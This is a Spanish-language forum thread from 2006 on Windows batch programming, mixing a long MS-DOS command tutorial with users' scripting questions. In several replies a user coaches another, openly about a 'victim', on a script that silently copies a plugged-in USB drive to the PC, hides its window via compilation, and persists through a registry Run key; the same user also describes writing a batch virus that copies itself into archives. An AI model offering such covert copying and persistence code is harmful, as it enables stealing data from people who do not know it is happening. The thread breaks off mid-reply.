Estoy buscando un comando para agregar a un .BAT para ocultar todas las carpetas que se encuentren dentro de otra carpeta pero... "sólo las carpetas" y NO los archivos que contiene cada una de estas. He probado con attrib pero no encuentro la forma. Agradecería mucho si un genio me da la solusión. GRACIAS! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: pollicogat en 13 Enero 2006, 17:51 pm hola olvidar todo lo dicho antes jejeje ya mas o menos se lo que queria, ahora lo que quiero saber es lo siguiente:
he creado dos script uno le he puesto el nombre iniciar.bat y a otro parar.bat ahora lo que quiero es que estos nuevos comandos creados esten en mi ordenador dentro, no se si ay alguna carpeta de windows donde tenga que copiarlos o donde se almacenen todos los bat, lo que quiero es que poniendo el nombre iniciar me ejecute directamente el script creado. contestarme please Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ¤ Nerviozzo ¤ en 14 Enero 2006, 22:58 pm pllicogat, mete esos bat en C:\WINDOWS\system32 y así los tendrás como un comando más ;)
PAZ Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: isidro_ruiz6 en 15 Enero 2006, 13:28 pm y alguien sabe lo que dije?
queria hacer un programa que cuando metas una memoria usb en el ordenador, detecte que la has metido y se copien los archivos en modo oculto(sin que salga la ventana de msdos) todos los archivos de la memoria, alguien me puede decir como hacerlo please? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 15 Enero 2006, 17:45 pm Lo que haria yo seria emplear un bucle para que todo el tiempo repitiese la operacion de poner los datos en el USB...por ejemplo:
@echo off attrib +H C:\larutadelarchivo\archivo.exe :bucle cd C:\larutadelarchivo move archivo.exe G:\Archivo.exe goto bucle exit Con esto estaria todo el tiempo moviendo datos al USB (por lo general tiene asignada la letra G) Pero esto lo kontinuaria modificando todo el tiempo....mejor usa esto: @echo off :bucle cd C:\larutadelarchivo If Not Extist G:\Archivo.exe goto cop If exist G:\Archivo.exe goto fin :cop move C:\larutadelarchivo\archivo.exe G:\Archivo.exe goto bucle :fin exit Este programa (creo que no esta 100% bien, pero ya te e dado muchas pistas...si buskas un pokito lo kompletaras) buska si existe el archivo si no existe lo kopia, pero si no esta el USB konektado no se va a kopiar...por lo tanto vuelve a mirar si existe...si finalmente existe sale del programa... Esto te akonsejaria que lo kompilaras kon algun programa para pasarlo a exe que te permita okultar su funcionamiento...ya que puede tardar mucho y la viktima lo va a parar si lo vee... Espero que te sirva... Un Saludo!! Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: isidro_ruiz6 en 15 Enero 2006, 20:09 pm gracias por la respuesta, pero creo que no me entendiste muy bien...porque yo no se como se llama el archivo :( que quiero copiar, y se tendrian que copiar al reves de la memoria usb a el ordenador en el que se mete,saludos
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 15 Enero 2006, 20:41 pm AAAAA ok ok...ya se a lo que te refieres...Lo que tu kieres es que se "propague"algo via USB (que se meta en el PC sin que el usuario se de kuenta)....Para eso Tendrias que saber el Nombre del Archivo...y despues creo que kreando un archivo .ini que se ejekutara el .bat...Pero si no sabes el nombre.... :-\ :-\ :-\
Un Saludo!! Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: isidro_ruiz6 en 15 Enero 2006, 20:58 pm ya lo consegui gracias a tu programa!! Gracias..Lo dejo por si alguien lo quiere:
@echo off :bucle If Not Exist L:\ goto cop If exist L:\ goto copy :cop goto bucle :copy xcopy "L:\" C:\prueba /s /e :fin exit Ahora lo que quiero es que no salga la ventana en msdos y este en modo invisible para que no se de cuenta la victima, alguna idea? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 15 Enero 2006, 23:35 pm Yes, usa el Quick Batch File Compiler...luego ve a propiedades/opciones i pones modo okulto y ya ta....
Un Saludo!! Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: isidro_ruiz6 en 15 Enero 2006, 23:50 pm es la caña ese programa! gracias...y como se haria para que cada vez que se iniciase windows se ejecutase? gracias de nuevo
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 16 Enero 2006, 15:41 pm Tienes que poner en el .bat
Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Hendrix /d %0 /f Esto agregara al registro que se ejekute kada vez el programa.... Puedes cambiar el nombre de Hendrix por el que kieras.... Un Saludo!!! HENDRIX Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: H@T en 17 Enero 2006, 01:47 am Hola gente no se si realmente existe un comando para listar procesos bajo linea de comandos, se que existe para matarlos (taskkill), pero seguramente debe existir para listarlos...
Me baje un archivo tasklist.exe pero es para winXp existe alguno para win2k??? En caso que no exista se podria hacer algun bat para hacerlo?? Coincido con alguien que escribio mas arriba habria que agregar en programacion un foro que sea de programacion bat.. Esto esta muy bueno y aprendi mucho..... Espero que siga asi... Gracias Adios Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: isidro_ruiz6 en 17 Enero 2006, 07:15 am gracias punk ya me va todo :)
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: MercaderFenicio en 17 Enero 2006, 18:33 pm Hola Viendo que hay muchas personas que preguntan a menudo sobre este tema he decidido poner un pequeño texto que explique como funciona y que se puede hacer. Posiblemente ya hay algún otro, pero yo no lo he visto. Espero que le sea de utilidad a alguien ******************************************** Introducción Antes que nada indicaros que se llaman procesos batch. La razón por la que a menudo se alude a ellos como bat es porque el entorno msdos requiere como máximo tres letras en la extensión y por tanto los archivos tienen la extensión .bat ¿Qué se puede hacer con ellos? Pues se puede hacer de forma automatizada todo aquello que se pueda hacer en la consola de msdos. ¿Como hago un archivo bat Pues son texto plano. Quiere eso decir que se pueden escribir en el block de notas, utilidad Edit de msdos o algún editor ascii. Al guardarlos deben tener la notación de nombres propia de msdos. Esto es un nombre con máximo 8 letras (espacios y \ no permitidos), luego un punto y la extensión que en este caso es obligatoriamente bat. Para crearlos desde la misma consola puedo utilizar varios sistemas Sistema 1: mediante la orden copy copy con: nombre_de_archivo.bat ... ... comandos ... ... Ctrl z (se acaba y se graba al pulsar Ctrl Z Método 2 mediante la redirección echo 1º línea a insertar >nombre_de_archivo.bat echo restantes líneas >>nombre_de_archivo.bat En cualquier caso para modificarlos podemos utilizar la utilidad Edit de msdos (abriendo el archivo concreto y luego grabando los cambios) o el block de notas. ¿Qué es eso de la redirección? Pues al igual que en unix se puede hacer que la salida de un comando sirva como entrada de otro. Para ello se utilizan los operadores < y > que sirven para indicar que salida debe ir a que lugar Por ejemplo si yo le doy la orden DIR, esta irá por defecto a la pantalla (dispositivo CON), pero puedo redirigir la salida a la impresora por defecto (dispositivo PRN) de la siguiente forma dir >prn Qué son los filtros Los filtros son órdenes que sirven para formatear la salida del comando de acuerdo a nuestros intereses. Se utilizan mediante la barra vertical (Alt 124). El filtro SORT sirve para ordenar la salida dir | sort El filtro MORE sirve para pausar la salida cada pantalla para que pueda ver todos los datos de salida con tranquilidad. Pasa de pantalla a pantalla al pulsar una tecla dir | more ¿Como puedo seleccionar varios archivos Para ello y teniendo en cuenta que los nombres de los archivos deben cumplir la notación de msdos (8 letras sin espacios como máximo, luego un punto y tres letras como máximo de extensión) se pueden utilizar los llamados comodines. * Equivale a varios caracteres ? equivale a un solo caracter. Ejemplos comando *.cfg -> seleccionar todos los archivos que tengan la extensión cfg comando a*.cfg -> seleccionar todos los archivos que comienzen por a y tengan la extensión cfg comando a*b.cfg -> seleccionar todos los archivos que comienzen por a, acaben por b y tengan la extensión cfg comando *asa*.cfg -> seleccionar todos los archivos que contengan 'asa' y tengan la extensión cfg comando c?asa.cfg -> seleccionar todos los archivos que contengan una C, luego un caracter cualquiera y luego 'asa'. Debe tener también la extensión cfg comando c?b*.* -> seleccionar todos los archivos que empiezen por c, tengan un caracter cualquiera, luego una b y cualquier extensión comando *.b?t -> seleccionar todos los archivos que tengan una extensión que empieze por b, luego un caracter cualquiera y luego una t. ¿Que son las trayectorias o paths? La trayectoria es el nombre completo de un archivo e indica la situación exacta de un archivo y su nombre. Si digo que el archivo se llama leeme.txt indico su nombre, pero nada mas. Se da por supuesto que se encuentra en el directorio actual. Si digo c:\leeme.txt indico que el archivo que me interesa se llama leeme.txt y se encuentra en el directorio raíz de C. Dado que en msdos no se admiten nombres largos (mas de 8 letras) ni espacios, cuando quiero utilizar un nombre de windows en msdos debo saber que este será reconvertido a su nombre corto. Este se obtiene añadiendo los seis primeros carácteres válidos del nombre, luego el signo ~ (alt 126) y luego un número. De esta forma un archivo que se encuentre en Mis documentos en win98 tendrá el path c:\misdoc~1\leeme.txt También se pueden utilizar (mientras las comillas para delimitar el nombre "c:\Mis Documentos\leeme.txt" Pero esto solo vale cuando se utiliza msdos como consola (no cuando se inicia windows 98 en modo msdos) Obsérvese que se utiliza la barra contraria a la de linux/unix para especificar subcarpetas o subdirectorios Esta sería la trayectoria de mimusica.mp3 c:\misdoc~1\mi~1\mimusica.mp3 Qué equivale a "c:\Mis Documentos\Mi Música\mimusica.mp3" Cuales son los nombres de dispositivos La pantalla se llama CON. Por eso si redirigo algo a CON lo estoy sacando por pantalla. La impresora por defecto se llama PRN La primera impresora se llama Lpt1 y las demás Lpt2, Lpt3 (una en cada puerto paralelo instalado en el sistema). Hasta donde yo sé no hay posibilidad de llegar a USB si no es la impresora por defecto. Como se les llama a las unidades lógicas Siempre es una letra seguida del signo dos puntos. A: = disquetera B: = reservada para segunda disquetera C: = primera partición (normalmente es la que arranca) D: = segunda partición (generalmente el cdrom) Por eso si se crea una unidad lógica mediante netbios en windows, esta puede tener un nombre msdos para poder acceder a ella desde la consola. La letra que se asigne no puede corresponder a una unidad lógica existente. ¿Qué comandos puedo utilizar? Comandos básicos CLS -> borra pantalla ECHO -> tiene varias posibilidades: Echo sin parámetros saca el estado en que se encuentra la variable echo (on u off) Echo on activa el echo (como en un terminal TTY) por lo que los comandos se verán en pantalla y luego su resultado Echo off desactiva el comando echo y ya se verán los resultados de la ejecución del comando, pero no el comando en sí mismo Echo literal saca por pantalla el literal. Por eso al hacer echo literal >fichero.bat estamos redirigiendo la salida de echo literal (que tendría que salir por la pantalla) al archivo fichero.bat. PAUSE ->Sirve para sacar un mensaje y parar la ejecución hasta que se pulse una tecla PROMPT ->Sirve para cambiar el prompt de msdos. El más habitual es $p$g que corresponde a $p = mostrar trayecto actual $g = mostrar el separador > $l = mostrar el separador < $b = mostrar el separador | $q = mostrar el signo = $$ = mostrar el signo $ $t = mostrar la hora $d = mostrar la fecha $v = mostrar la versión del sistema $n = mostrar unidad actual $h = retroceso. Borra el caracter previo $e = esc. Muestra el signo correspondiente al asci 27 $_ = Retorno de carro y salto de línea (equivale a chr(10) & chr(13) Por eso si ponemos prompt $p$g el cursor muestra la trayectoria donde estamos y luego el separador. Es posible añadir texto (por ejemplo prompt Mi_nombre $p$g DATE Ver/poner la fecha del sistema TIME Ver/poner la hora del sistema VER Versión del sistema VOL unidad Volumen de la unidad especificada PATH Indica un trayecto por defecto si se produce una petición de un archivo que no está en el directorio actual. Por eso en windows 98 suele haber una línea en autoexec.bat que es path c:\windows; c:\windows\command que indica que si se solicita un ejecutable que no esté en el directorio actual, lo busque primero en la carpeta windows y luego en la subcarpeta command. KEYB código_pais,juego_de_caracteres,definición_de_teclado, El código de país de españa es el 'sp' El juego de caracteres aplicable a españa es el 850 ó 437 El archivo de definición de teclado es keyboard.sys Para configurar un teclado en español keyb sp,,c:\windows\command\keyboard.sys SYS unidad Transferir el sistema operativo a la unidad especificada. DOSKEY Emular la capacidad de unix/linux de recordar los comandos introducidos anteriormente mediante la flecha arriba del teclado. MEM parámetros Muestra la memoria usada y libre en el sistema /p -> muestra por programas /d -> por programas y controladores /c -> clasifica por tamaño Comandos de manejo de archivos COPY origen destino Sirve para copiar archivos de un lugar a otro. el origen debe ser un trayecto completo de donde están los archivos a copiar. Si se omite se entiende que en el directorio actual. El destino debe ser una trayectoria completa de donde dejar el/los archivo(s) copy miarchivo.txt c:\ (copiarlo al directorio raíz de C) copy miarchivo.txt c:\miarch.txt (copiarlo y además cambiarle el nombre a miarch.txt) copy *.txt a:\ (copiar todos los archivos que tengan la extensión txt a la unidad A) copy *.txt c:\misdoc~1 (copiar todos los archivos que tengan la extensión txt al directorio Mis documentos (cuyo nombre corto es misdoc~1). DEL archivo(s) Borrar archivos en seleccionados del leeme.txt (borra el archivo leeme.txt en el directorio actual) del c:\leeme.txt (borra el archivo leeme.txt que se encuentra en c:\) del archiv~1\*.* (borra todos los archivos que se encuentren en el directorio 'Archivos de programa' cuyo nombre corto es archiv~1 (no se borran las subcarpetas) DELTREE archivo(s) -y Borra el arbol especificado (si es un archivo pues el archivo, si es una carpeta pues la carpeta con todas las subcarpetas que incluya). Con el parámetro -y no pregunta cada vez Este comando en realidad no es un comando sino una utilidad incluída en msdos. MKDIR nombre (o bien MD nombre) Sirve para crear un directorio Md micarpeta CHDIR nombre (o bien CD nombre) Sirve para ir al directorio aludido. Se le tiene que dar la trayectoria completa o si no intentará desplazarse desde el directorio actual. Cd c:\archiv~1 (se va a archivos de programa) Cd .. (se va al directorio superior) RMDIR nombre (o bien MD nombre) Borra un directorio. Este debe estar vacío. RD c:\Misdoc~1 (borra Mis Documentos, aunque no podrá porque no está vacío). DIR trayecto Saca una lista del contenido del directorio especificado en el trayecto. Si no se especifica nada, se entiende el actual. Si se pone como parámetro /W saca un listado resumido. Si se pone como parámetro /P saca un listado utilizando el filtro more. ATTRIB archivo(s)-> Muestra los atributos de los archivos indicados y en su caso permite cambiarlos. Los atributos son: H -> oculto. Se activa con +h y desactiva con -h R -> Lectura. Solo lectura con +r, normal con -r S -> Sistema. Se activa con +s y desactiva con -s A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado. Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt) attrib *.exe +r +r +s (pone a todos los archivos con extensión exe como ocultos, del sistema y read only) RENAME o REN nombre1 nombre2 Cambiar el nombre de archivo Ren miarchivo.txt miarchivo2.txt TYPE archivo Muestra por pantalla el contenido de un archivo type miarchivo.txt Comandos de disco DISCKCOPY origen destino-> Copia disquetes completos. Diskcopy a: a: Copia el disquete introducido en la unidad A a un disquete que se introducirá posteriormente en la unidad A FDISK Permite editar las particiones del disco duro. Con la opción /mbr permite borrar el Master Boot Record FORMAT unidad parámetros /q -> formateo rápido /s -> Transferir el sistema operativo Format a: /s formatea el disquete y le transfiere el sistema operativo básico de arranque. LABEL unidad etiqueta Cambiar la etiqueta de volumen del disco de la unidad label a: midisquete MSCDEX Montar una unidad de CdRom en msdos (solo requerido si se carga msdos sin estar windows cargado previamente (por ejemplo cuando se arranca desde disquete). Suponiendo un CdRom al que se haya cargado en config.sys con el nombre MiCd mscdex /d:MiCd Scandisk unidad parámetros Para comprobar/reparar el estado del disco /autofix -> reparar automáticamente errores /surface -> hacer pruebas de superficie /checkonly -> no reparar, solo chequear Comandos para programación EDIT archivo Editor de textos utilizado para editar scripts y archivos de texto. DEBUG archivo parámetros de archivo Inicia el desensamblador con el programa indicado al que se le pasan los parámetros especificados. CHOICEtexto opciones Se utiliza en programas bat para dar a elegir a un usuario entre un conjunto de opciones La respuesta se devuelve mediante la variable errorlevel choice Elija una opción snc if errorlevel 1 goto ... if errorlevel 2 goto ... if errorlevel 3 goto ... Este ejemplo muestra el literal "elija una opción y da a elegir s (sí), n (no) o C (continuar) por ejemplo las tres siguientes líneas especifican a donde debe saltar el flujo del programa según la tecla pulsada. Comandos de red ARP parámetros Modificar la tabla arp. -a -> mostrar la tabla arp -s ip mac -> agregar una entrada a la tabla arp FTP Iniciar el cliente ftp IPCONFIG parámetros Mostrar las características de configuración de IP /all -> muestra toda la información de configuración /release adaptador -> libera la ip del adaptador especificado /renew adaptador -> renueva la ip para el adaptador especificado /flushdns -> purga la caché de resolución de dns /registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns /displaydns -> muestra el contenido de la cache de resolución dns NBTSTAT Hace un estado de la red por netbios Tiene muchos parámetros. Consultarlos mediante nbtstat /? NET parámetros Comando para el uso de redes netbios USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema. USE \USER: dominio\usuario para acceder a un dominio USE unidad /DELETE eliminar el acceso a unidad compartida. SHARE trayecto /REMARK texto -> para compartir un recurso en red START -> para comenzar sesión netbios STOP -> para detener netbios NETSTAT Para ver el estado de la red. -a -> mostrar todos los puertos y conexiones -n -> mostrar números de puertos y direcciones -r -> mostrar la tabla de rutas -s -> mostrar estadísticas por protocolo -p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas NSLOOKUP dominio Muestra el dominio, su ip, dns donde se resuelve y sus alias PING Utilizar ICMP para llegar a un determinado nodo TELNET ip puerto Utilizar el protocolo telnet para acceso a un servidor exterior TRACERT destino tracear el camino hasta llegar al destino especificado Programación BAT Para crear un script bat podemos utilizar cualquiera de los métodos expuestos anteriores y utilizar cualquiera de los comandos especificados. Pueden recibir parámetros según los cuales realizar operaciones u otras. Un caso especial es el archivo autoexec.bat que se ejecuta automáticamente en windows 98 y anteriores. debe estar en el directorio raíz. ******************************************** Ejemplo 1 Archivo bat crea un disquete de arranque en la unidad A con cdrom montado y teclado en español. echo off rem **** esto es un comentario rem **** formatear disquete y pasarle el sistema format a: /s rem **** copiar archivos necesarios para teclado en español copy c:\windows\command\keyboard.sys a: copy c:\windows\command\keyb.com a: rem **** copiar archivos necesarios para montar el cdrom copy c:\windows\command\mscdex.exe rem aquí hay que copiar el driver dos del cdrom que rem viene con el disquete que lo acompaña. rem copiar otras utilidades prácticas para un disco de inicio copy c:\windows\command\fdisk.exe a: copy c:\windows\command\format.exe a: copy c:\windows\command\deltree.exe a: rem crear el archivo de inicio autoexec.bat en disquete echo keyb sp,,keyboard.sys >a:autoexec.bat echo path c:\windows;c:\windows\command;a:\ >>a:autoexec.bat echo mscdex /d:MiCdrom >>a:autoexec.bat rem crear el archivo de configuración para montar el driver del cdrom echo dos=high,umb >a:config.sys echo device=a:\nombre_del_driver.sys /d:MiCdRom >>a:config.sys echo ************************************** echo El disco de arranque ha sido creado echo ************************************** ******************************************* Ejemplo 2 En el caso anterior he puesto la ruta de origen c:\windows\command que es donde se encuentra en windows 98. Sin embargo en Win2k se encuentra en \winnt\win32 por lo que en caso de win2k deberíamos cambiar eso. Win2k tampoco usa autoexec.bat por lo que para no perderme en diferencias entre uno y otro voy a suponer que en vez de c:\windows\command quiero que el origen sea variable echo off rem si no se da parámetro terminar if %1z = z goto fin rem **** esto es un comentario rem **** formatear disquete y pasarle el sistema format a: /s rem **** copiar archivos necesarios para teclado en español copy %1\keyboard.sys a: copy %1\keyb.com a: rem **** copiar archivos necesarios para montar el cdrom copy %1\mscdex.exe rem copiar utilidades copy %1\fdisk.exe a: copy %1\format.exe a: copy %1\deltree.exe a: fin: para ejecutar este script deberíamos darle un parámetro que será el origen de los archivos. En el caso anterior esto era c:\windows\command. En el caso de Win2k esto es c:\winnt\win32 Miprograma c:\windows\command (para utilizar esta ruta como ruta origen) Miprograma c:\winnt\win32 (para utilizar esta otra ruta como ruta origen) ******************************************** Ejemplo 3 ******************************************** Creación de un archivo para consultas habituales sobre la red echo off echo 1 -> examinar netbios echo 2 -> examinar la red echo 3 -> examinar dominio echo 4 -> examinar la tabla de arp echo 5 -> Acceder a unidad lógica echo 6 -> Compartir unidad lógica echo 7 -> Acceder a un dominio echo pulse una tecla del 1 al 6 para elegir choice 123456 if errorlevel 1 goto netbios if errorlevel 2 goto red if errorlevel 3 goto dominio if errorlevel 4 goto arp if errorlevel 5 goto acceder if errorlevel 6 goto compartir if errorlevel 7 goto accesodominio goto fin netbios: nbtstat -na goto fin red: netstat -na goto fin dominio: rem %1 es un parámetro del dominio a consultar nslookup %1 goto fin arp: arp -a goto fin acceder: rem %1 es un parámetro de la unidad a acceder. Debe rem ser del tipo \\ordenador\recurso net use %1 net start goto fin compartir: rem %1 es el directorio a compartir. Debe ser algo como rem c:\misdoc~1 rem %2 es el texto que queremos que tenga como nombre largo en windows net share %1 remark %2 net start goto fin accesodominio: rem %1 es el dominio al que queremos acceder rem %2 es el usuario al que queremos introducir net use user %1\%2 net start fin: Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: maniaxred en 18 Enero 2006, 19:39 pm Hola a To2!
Estoy buscando un comando para agregar a un .BAT que pueda ocultar todas las carpetas que se encuentren dentro de otra carpeta pero... "sólo las carpetas" y NO los archivos que contiene cada una de estas. ¿es posible esto? He probado con attrib pero no encuentro la forma. Agradecería mucho si alguien me contesta una de las 12mil veces que pregunte esto. Salu2 a To2! GRACIAS! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 18 Enero 2006, 22:47 pm creo que no es possible....lo uniko posible es borrarla kon el komando rd...
Un saludo!! Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: mackbeth en 25 Enero 2006, 22:26 pm hola a todos, me dio por hacer un crack en un bat, pero me tope con que necesito una condicional que me verifique una llave en el registro, estoy usando este codigo:
if exist "HKLM\SOFTWARE\Unreal Technology" goto ejecutar goto validar o tambien se me ocurrio: if exist (reg query "HKLM\SOFTWARE\Unreal Technology") goto ejecutar goto validar pero ninguna de las 2 formas me funciona,ambas se van a ejecutar, no le he puesto if not exist, por que me fastidiaria todo el codigo... alguien podria ayudarme?? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TooRDJ en 27 Enero 2006, 12:14 pm Buenas un saludo..
Quisiera que me ayudaran en lo siguiente. Se los agradecería.. Como puedo crear un BAT que al ejecutarse pida la entrada de un dato. Y que al teclear ese dato se guarde en una variable X Y quisiera saber si ese dato que se guarda, puede llevar espacio :huh: Como se puede hacer?? GRACIAS:: Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 27 Enero 2006, 19:01 pm Facil...azlo kon el komando SET. Mira un ejemplo:
@echo off color 4d title Ejemplo de variables {By Hendrix} :inisi cls echo. echo Introduce tu Pass: set /p pas= If %pas% == Hacker (cls && echo Bienvenido && pause > nul && exit) else ( cls && echo Pass Incorrecta && pause > nul && goto inisi) pause > nul exit Copia este bat y ejekutalo y veras lo que hace... Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TooRDJ en 28 Enero 2006, 01:42 am Wenas....
SEEEEEEEEEEEEEEEEEEEEEEEEEEEEE... Hendrix Funciona GOD :D MUCHAS GRACIAS Hendrix ;D... Saludos... Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TooRDJ en 28 Enero 2006, 17:25 pm Buenas.. Hola de nuevo...
Oye Hendrix mira coloque algo como esto: _______________ @echo off :inisi cls echo. echo Introduce IP: set /p ip= ping ip PAUSE _______________ Pero tengo un problema cuando lo ejecuto me dice La solicitud de ping no pudo encontrar el host ip. Compruebe el nombre y vuelva a intentarlo. Presione una tecla para continuar . . . Cuando se trabaja con ips se coloca diferente :huh:??.. GRACIAS... Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 29 Enero 2006, 01:19 am Lo correcto seria esto:
@echo off :inisi cls echo. echo Introduce IP: set /p ip= Ping %ip% PAUSE La ip (puesto que es una variable) tiene que ir entre %...y si es una variable numerica tiene que ser asi: set /a pero esto no importa...lo importante son los %...Pruebalo y veras que si funcionara... ;) ;) Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TooRDJ en 29 Enero 2006, 22:54 pm Buenas..
SEEE.... me funciono perfecto.. Gracias por la ayuda.. Gracias Salu2.. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 29 Enero 2006, 23:53 pm De nada hombre... ;) ;)
Salu2 Hendrix Título: Re: Correr un programa detectando Archivos Publicado por: Deiv en 31 Enero 2006, 15:55 pm Hola,
En cuanto a MS-DOS se refiere casi nunca intenté crear un Archivos por lotes (BAT) o programar, y ahora desde Windows XP necesito crear un archivo CONVERSOR.BAT que me realice una tarea, ya que estoy trabajando con Delphi7 (con una de sus herramientas "brcc32" que transforma archivos creando recursos de Archivo.rc a Archivo.res). Mi BAT, contiene estas líneas: PATH C:Archivos de programaBorlandDelphi7Bin brcc32 PRUEBA.rc PRUEBA.res Lo que hace CONVERSOR.BAT es detectar donde se encuentra el ejecutable "brcc32" para transformar un archivo de recursos de ".rc" a ".res", este trabaja muy bien en el directorio que me encuentre al darle doble click. El problema es, que cuando creo otro fichero .rc, cada vez tengo que estar editando mi CONVERSOR.BAT para cambiar los nombres del archivo en la segunda línea (Ej.: brcc32 OtraPrueba.rc OtraPrueba.res) Entonces lo que requiero es que mi Archivo BAT haga lo siguiente al doble click: - Detecte los archivos *.rc que existan en el directorio actual que me encuentre. - Que los cuente. - Hacer un FOR hasta la cantidad que contó. - Dentro del FOR Hacer funcionar: brcc32 para todos los archivos encontrados *.rc a *.res en el directorio actual) y así transformarlos. De repente sea un código sencillo para muchos, pero redundo que no he creado buenos archivos por lotes, he ahí la razón del porque de mi pregunta. Estaré atento a vuestros post de orientación. Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 31 Enero 2006, 23:14 pm Lo que intentas hacer lo estoy haciendo apra la creacion de un virus en batch...la funcion del virus es buskar en todos los Diskos duros archivos rar o zip y kopiarse dentro....Para esto es necesario hacer un motor de buskeda, lo ideal es combinar estos komandos: dir, find y for...Lo que no logro hacer es lo del find, que enkuentre el nombre del archivo....
Weno, si alguien sabe komo hacerlo que lo postee... Salu2 Hendrix Título: Find Publicado por: Deiv en 5 Febrero 2006, 16:28 pm Bueno Investigando un poco encontré esto de como hallar los archivos que requieres (en tu caso RAR o ZIP) existen 2 formas que las puedes combinar:
CASO 1 (Detecta en el Directorio actual).- @echo off set fichtemp=%temp%\temporal.txt if exist *.rar dir *.rar /b >%fichtemp% if exist *.zip dir *.zip /b >>%fichtemp% type %fichtemp% |sort |more del %fichtemp% set fichtemp= echo. CASO 2 (Detecta en la Raiz principal y los Subdirectorios).- @echo off echo. dir \%1 /b /s /p echo. Ejecución: C:\Documents and Settings\Administrador\Mis documentos\BATs>buscar *.RAR (enter) Bueno para mi pregunta lo que hice es el 2do Caso: @echo off set fichtemp=%temp%\temporal.txt if exist *.rc dir *.rc /b >%fichtemp% type %fichtemp% |sort |more del %fichtemp% set fichtemp= echo. Ahora lo único que queda es implementar un contador y para cada archivo encontrado me ejecute el "brcc32" para todos los *.rc encontrados a través de un for (o tal vez sin for) pero ahora necesito de tu ayuda ante el FOR y la Ejecución, creo ahí no tienes problemas verdad?, a recordar el mío: Lo que requiero es que mi Archivo BAT haga lo siguiente: 1- Detecte los archivos *.rc que existan en el actual directorio (Ya esta resuelto) 2- Que los Cuente, ¿Cuantos encontró? (O que directamente ejecute el bcc32 con los encontrados) 3- Hacer un FOR hasta la cantidad que Contó 4- Dentro del FOR Hacer funcionar: brcc32 para todos los archivos encontrados *.rc a *.res en el directorio que me encuentro) y así transformarlos. Pienso que mi problema ahora está solamente en el punto 2 y 3. Pero además me entró otra duda, ¿Como capturo cada archivo encontrado individualmente? ¿Alguna sugerencia? Saludos Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Jarizkuren en 6 Febrero 2006, 10:56 am Hola. Me gustaria crear un .bat que borrase los archivos *.001 creados hace mas de 15 dias. Muchas gracias.
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: furioso en 6 Febrero 2006, 13:02 pm Hola. Me gustaria crear un .bat que borrase los archivos *.001 creados hace mas de 15 dias. Muchas gracias. Esa extension me suena. :-) Curioso que se cree la necesidad a la vez. Si alguien responde a esta duda comun seria de gran ayuda. Como borrar archivos por antiguedad. Gracias, Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 6 Febrero 2006, 17:19 pm Si me explikan mas sobre esta extension les puedo crear un programa...esta extension se regenera cada vez o es que hay muchas????
Si es que hay muchas y las kieren borrar pongan esto en el MS-dos: cd "C:\Ruta\Donde\Hay\Archivos\aborrar del /s /q *.001 Esto borrara todos los archivos 001 de una carpeta...si kieren borrar mas cambien el direcctorio de carpeta... ;) ;) Salu2 Hendrix Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: karito en 7 Febrero 2006, 18:27 pm Hola, quisiera saber si es posible crear un batch en el cual pueda ejecutar comandos desde linea de comandos en sybase o en oracle... Ejemplo de esto:
C:\>isql -Usa -Psybmanager 1> sp_helpdb 2> go Gracias por su respuesta... Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: furioso en 13 Febrero 2006, 13:50 pm Si me explikan mas sobre esta extension les puedo crear un programa...esta extension se regenera cada vez o es que hay muchas???? Si es que hay muchas y las kieren borrar pongan esto en el MS-dos: cd "C:\Ruta\Donde\Hay\Archivos\aborrar del /s /q *.001 Esto borrara todos los archivos 001 de una carpeta...si kieren borrar mas cambien el direcctorio de carpeta... ;) ;) Salu2 Hendrix Tampoco estoy seguro de que sus archivos tengan el mismo origen que los mios. Es siempre la misma, el caso es que como decia en mi post, hay que borrarlos por antiguedad. Por que se van creando cada dia y el disco duro se llena rapidamente. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: gearl23 en 18 Febrero 2006, 06:41 am hola te queria preguntar porque hice este pequeño bat pero sucede que por mas qu escoja cualquier opcion siempre va a la etiqueta formatear. que hago mal?
aqui esta el bat: @echo off echo 1 Formatear disquette con archivos de sistema echo 2 Estado de particion echo 3 Iniciar FTP choice /c:123 if errorlevel 1 goto formatear if errorlevel 2 goto fdisk if errorlevel 3 goto ftp goto listo :formatear set drive=%1 if "%1" == "" set drive=a: format a: /q /s goto listo :fdisk fdisk /status goto listo :ftp ftp goto listo :listo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Hendrix en 18 Febrero 2006, 17:51 pm Kode:
